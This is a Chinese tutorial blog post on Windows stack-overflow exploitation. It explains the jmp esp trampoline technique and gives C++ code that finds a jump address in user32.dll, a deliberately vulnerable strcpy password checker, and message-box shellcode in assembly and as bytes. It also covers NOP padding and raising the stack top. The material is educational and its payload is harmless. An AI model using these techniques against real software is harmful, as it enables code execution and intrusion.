专业术语

  • ShellCode:实际是一段代码(也可以是填充数据)

  • exploit:攻击通过ShellCode等方法攻击漏洞

 栈帧移位与jmp esp

  一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置。可以通过OD调试看的到。

  • 注:函数返回时,ESP所指的位置还与函数调用约定、返回指令有关系。例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异。

  由于ESP寄存器在函数返回之后不被栈溢出控制,且始终指向返回地址的下一个位置

  我们可以使用一种“黑科技”如下图定位ShellCode的方法来动态定位。

  • (1)用内存中任意一个jmp esp 指令覆盖函数的返回地址,而不是向上一次的“栈溢出原理与实现”中的例子那样去通过OD手动查出ShellCode起始地址直接覆盖。

  • (2)函数返回后被重定向去执行内存中的这条jum esp指令,而不是直接开始执行ShellCode。

  • (3)由于esp在函数返回时任然指向栈区(函数返回地址之后),jmp esp指令被执行之后,处理器会找到栈区函数的返回地址之后的地方取指令执行。

  • (4)重新布置ShellCode。在淹没函数返回地址之后,继续淹没一片栈空间,将缓冲区前边的一段地方任意数据填充,把ShellCode恰好的摆放在函数的返回地址之后。这样,jmp

    esp 指令执行过后会恰好跳进ShellCode。

  这种定位ShellCode的方法使用进程空间里的一条jmp esp 指令作为“跳板”,不论栈帧怎么移位,都能够精确的跳回栈区,从而适应程序运行中ShellCode内存地址的动态变化。

  1998年,黑客组织“Cult of the Dead Cow”的Dlidog在Bugtrq邮件列表中以MIcrosoft Netmeeting为例首次提出利用jmp esp完成对ShellCode的动态定位,从而解决了Windows下栈

帧移位问题给开发稳定的exploit带来的重重困难。毫不夸张的讲,跳板技术应该算是Windows栈溢出利用技术里的一个里程碑。

 获取“跳板”地址

 1 #include<iostream>
2 #include <WINDOWS.H>
3 using namespace std;
4
5 int main()
6 {
7 BYTE* ptr = NULL;
8 int position = 0;
9 int address = 0;
10 BOOL bDone = FALSE;
11 HINSTANCE handle = LoadLibrary("user32.dll");
12
13 if(handle==NULL)
14 {
15 printf("Dll Load Failed!");
16 exit(0);
17 }
18
19 ptr = (BYTE*)handle;
20
21 for (position=0;!bDone;position++)
22 {
23 try
24 {
25 if(ptr[position]==0xFF&&ptr[position+1]==0xE4)
26 {
27 //OxFFE4 是 jmp esp 的汇编指令
28 address = (int)ptr +position;
29 printf("the jmp address if 0x%x\n",address);
30 break;
31 }
32
33 }
34 catch (...)
35 {
36 address = (int)ptr +position;
37 printf("End of 0x%x\n",address);
38 bDone = TRUE;
39 }
40 }
41
42 return 0;
43 }

  Jmp esp 对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存指针值。

  这是通过我们代码找到的跳板的位置如下:

  

 使用“跳板”定位的exploit

  我们使用上面的出的“跳板地址”0x777f305b,作为我们执行jmp esp 的指令,通过获得user32和kernel32基地址,计算出MessageBoxA和ExitProcess的函数地址,我们开始构建我们的ShellCode。

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
int main()
{
HINSTANCE hLibrary = LoadLibrary("user32.dll");
//768c0000 kernel32.dll /* 测试 ExitProcess(0) 函数是否可用 其地址 0x768c0000 kernel32.dll
_asm
{
xor ebx,ebx
push ebx
mov eax,0x768E9850
call eax
}
*/
_asm
{
xor ebx,ebx
push ebx
push 0x74736577 //字符串
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x777D74C0 //MessageBoxA
call eax
push ebx
mov eax,0x768E9850 //ExitProcess
call eax
}
return 0;
}

  为了提取汇编代码的对应的机器码,我们将上述代码用VC编译通过之后,通过OD加载调试,获取该段汇编的机器码,机器码如下:

  通过二进制编辑器,将代码写入文件

  

  我们将读取文件,通过栈溢出,使得ShellCode放到合适的位置

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
#define PASS_WORD "1234567"
int verify_password(char* password)
{
int authentitated;
char szBuffer[44];
authentitated = strcmp(password,PASS_WORD);
strcpy(szBuffer,password);
return authentitated;
}
int main()
{
int valid_flag = 0;
char password[1024] = {0};
FILE* fp ;
fp=fopen("password.txt","rw+"); HMODULE h = LoadLibrary("user32.dll"); printf("%x\r\n",h); //0x77760000
//0x000774C0
//0x777D74C0 //MessageBox地址
//0x0018FA88 //buffer 中的地址 if(fp==NULL)
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\r\n");
}
else
{
printf("Congratulation! you have passed the verification!\r\n");
}
fclose(fp);
return 0;
}

  编译运行,发现程序运行正常,且正常退出,我们成功啦!运行结果就不截图了。

 缓冲区组织

  如果使用jmp esp 作为定位ShellCode的跳板,那么在函数返回后要根据缓冲区的大小、所需ShellCode的长度等实际情况灵活的布置缓冲区。送入缓冲区的数据可以分为以下几种:

  • (1)填充物:可以是任何值,但是一般用NOP指令对应的0x90来填充缓冲区,并把ShellCode布置于其后,这样即使不能准确的跳到ShellCode的开始,只要能跳进填充区域,
       处理器最终也会执行到ShellCode。

  • (2)淹没返回地址的数据:可以是跳转指令的地址、ShellCode的起始地址,甚至是一个近似ShellCode地址的地址。

  • (3)ShellCode:可执行的机器代码。

  我们上面这么做难道就没有问题吗?如果我们的ShellCode超过函数返回地址以后将是前一个栈的栈帧,我们平时开发一个有用的ShellCode往往需要几百个字节,这样大范围的破坏

栈帧数据可能会引发一些其他的问题。例如,若想在执行完ShellCode通过修复寄存器的值,让函数正常返回继续执行原程序,就不能随意破坏栈帧数据。

 抬高栈顶保护ShellCode

  将ShellCode布置在缓冲区中虽然有不少的好处,但是也会产生问题。函数返回时,当前栈帧弹出,这时候缓冲区位于栈顶ESP之上的内存区域。在弹出栈帧时只是改变了ESP寄存器

中的值,逻辑上ESP以上的内存空间的数据已经作废,物理上这些数据并没有被销毁。如果ShellCode中没有压栈指令向栈中  写入数据就没有太大的影响;但是如果使用push指令在栈

中暂存数据,压栈数据就有可能破坏到ShellCode本身。

  当缓冲区相对于ShellCode较大时,把ShellCode布置在缓冲区的“前端”(内存低地址方向),这是ShellCode离栈顶较远,几次压栈只可能破坏到一些Nop值;但是,如果缓冲区已经

被我们的ShellCode占满,则要执行的ShellCode就离栈顶比较近,这样的情况就很危险了。如果存在push压栈操作,导致ESP 向低地址方向移动,我们构建的ShellCode就会遭到破坏。

  所以,为了使得ShellCode具有较强的通用性,我们通常会在ShellCode一开始的范围就抬高栈顶,把ShellCode藏在栈内,从而达到保护ShellCode的作用。

  过程如下图:

 使用其他跳转指令

  使用jmp esp做“跳板”的方法是最简单,也是最常用的定位ShellCode的方法。在实际的漏洞利用过程中,应当注意观察漏洞函数返回时所有寄存器的值。除了ESP之外,EAX、EBX、ESI等

寄存器也会指向栈顶附近,故在选择跳转指令时也可以灵活一些,除了jmp esp之外,mov eax、esp和jmp eax等序列亦可以完成进入栈的功能。

  常用的跳转指令与机器码之间的对应关系:

  可以使用我们上面的程序,来获得这其中任意一个跳转指令在加载模块中的地址。

 ShellCode的加载与调试

  ShellCode最常见的形式就是用转移字符把机器码存在一个数组中,如我们之前弹出消息框并能够退出程序的ShellCode就可以存成以下的形式。

#include<iostream>
using namespace std;
int main()
{
//777D74C0 768E9850
char Shell_Code[]=
"\x66\x81\xEC\x40\x04"
"\x33\xDB"
"\x53"
"\x68\x77\x65\x73\x74"
"\x68\x66\x61\x69\x6C"
"\x8B\xc4"
"\x53"
"\x50"
"\x50"
"\x53"
"\xB8\xC0\x74\x7D\x77"
"\xFF\xD0"
"\x53"
"\xB8\x50\x98\x8E\x76"
"\xFF\xD0";
_asm
{
lea eax,Shell_Code
push eax
ret
}
return 0;
}

  ret指令会将push进去的ShellCode在栈中的位置弹给EIP,让处理器去跳过去执行ShellCode,我们可以用这个程序运行搜索到的ShellCode,并调试它。

若发现不能满足需求,可以在原先的基础上修改,增加功能。

开发shellcode的艺术的更多相关文章

  1. 恶意软件开发——shellcode执行的几种常见方式

    一.什么是shellcode? shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为它通常启动一个命令shell,攻击者可以从 ...

  2. OD: Writing Small Shellcode

    第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...

  3. 系列文章|OKR与敏捷(二):实现全栈敏捷

    OKR与敏捷开发的原理有着相似之处,但已经使用敏捷的团队再用OKR感觉会显得多余.这种误解的根源就在于对这两种模式不够了解,运用得当的情况下,OKR和敏捷可以形成强强联合的效果,他们可以创造出以价值为 ...

  4. 一个农民工混迹于 IT 行业多年后的泣血总结

    一看题目,你心里一定闪出一个想法,这又是一篇软文吧,是不是,不想辩别了,自己判断吧哈哈.这是根据本人真实经历所写的一篇总结.假如你满足你的现状,这就是一篇软文,请立刻关闭此文章,继续你现在的生活.   ...

  5. Linux 之父自传《just for fun》读书笔记

    一次偶然的机会,看到了阮一峰老师关于这本书的介绍,当时我就觉得这本书相当有趣. 在没有读这本书之前,我觉得 linus 作为发明 Linux 系统的人,应该是一个比较严肃的人,就像我的老师一样.但事实 ...

  6. WEB学习笔记1-综述

    WEB前端基本技术:HTML.CSS.JavaScript 概念: 从职责上讲,Web前端开发要涉及网站开发的方方面面,从前端UI到和后端的数据交互都属于前端开发的范畴.Web前端开发是兼具艺术气息和 ...

  7. 程序员需要经纪人吗?10x 最好的程序员其生产力相当于同行的 10 倍~

    原文地址 10x 起源于技术界一个流行的说法,即最好的程序员是超级明星,其生产力相当于同行的 10 倍: Google 园区以好玩的设施闻名:小憩舱.球坑.按摩.干洗.随便吃到饱的自助餐.(为了拍人才 ...

  8. C基础 时间业务实战代码

    引言 业务代码中遇到这样需求, 1. 二者是同一天吗, 2. 时间戳和时间串来回转, 3. 其它扩展需求 等. C写代码同样需要处理这方面时间问题. 本文就是为了解决这个问题. 相比其它时间库, 这里 ...

  9. FS获取KERNEL32基址的三种方法

    FS寄存器指向当前活动线程的TEB结构(线程结构) 偏移  说明 000  指向SEH链指针 004  线程堆栈顶部 008  线程堆栈底部 00C  SubSystemTib 010  FiberD ...

随机推荐

  1. K好数

    有点坑 在他这里 0不算一位数 #include <iostream> #include <cstdio> #include <string.h> using na ...

  2. Java设计模式应用——责任链模式

    生产一个产品,需要依次执行多个步骤,才能完成,那么是使用责任链模式则是极好的. 在性能告警模块开发过程中,创建一条告警规则需要执行阈值解析,中间表生成,流任务生成,规则入库,告警事件入库等诸多操作.如 ...

  3. Jmeter响应内容显示乱码问题的解决办法

    Jmeter在访问接口的时候,响应内容如果有中文可能会显示乱码,原因应该是响应页面没有做编码处理,jmeter默认按照ISO-8859-1编码格式进行解析. 下面把解决步骤列一下: 现象:jmeter ...

  4. Oracle和sql server中复制表结构和表数据的sql语句

    在Oracle和sql server中,如何从一个已知的旧表,来复制新生成一个新的表,如果要复制旧表结构和表数据,对应的sql语句该如何写呢?刚好阿堂这两天用到了,就顺便把它收集汇总一下,供朋友们参考 ...

  5. Centos 更改系统时间

    .date //查看本地 .hwclock --show //查看硬件的时间 .如果硬件的时间是对不上,那就对硬件的时间进行修改 .hwclock --set --date '2222-22-22 2 ...

  6. linux通过rpm和yum安装包

    1.rpm包的安装过程:进入rpm包的所在目录,通过rpm -ivh 包名安装,rpm安装无法解决依赖关系 2.yum安装过程:读取/etc/yum.repo/下配置文件中的baseurl地址,找到该 ...

  7. c++的class声明及相比java的更合理之处

    或许是基于一直以来c/c++头文件声明和cXX实现物理上置于独立文件的考虑,c++中的OO在现实中基本上也是按照声明和实现分离的方式进行管理和编译,如下所示: Base.h #pragma once ...

  8. CSS形变与动画

    形变 2D形变 matrix(): 以一个含六值的(a,b,c,d,e,f)变换矩阵的形式指定一个2D变换,相当于直接应用一个[a,b,c,d,e,f]变换矩阵 translate(): 指定对象的2 ...

  9. MAC BOOK Air 安装metasploit-framework

    Step 1:Xcode命令行开发工具OS X确保它已经安装了Xcode开发工具,在终端执行: xcode-select --install1Step 2:Java SDK安装Java sdk,不能用 ...

  10. 【配置、开发】Spark入门教程[2]

    本教程源于2016年3月出版书籍<Spark原理.机制及应用> ,在此以知识共享为初衷公开部分内容,如有兴趣,请支持正版书籍. Spark为使用者提供了大量的工具和脚本文件,使得其部署与开 ...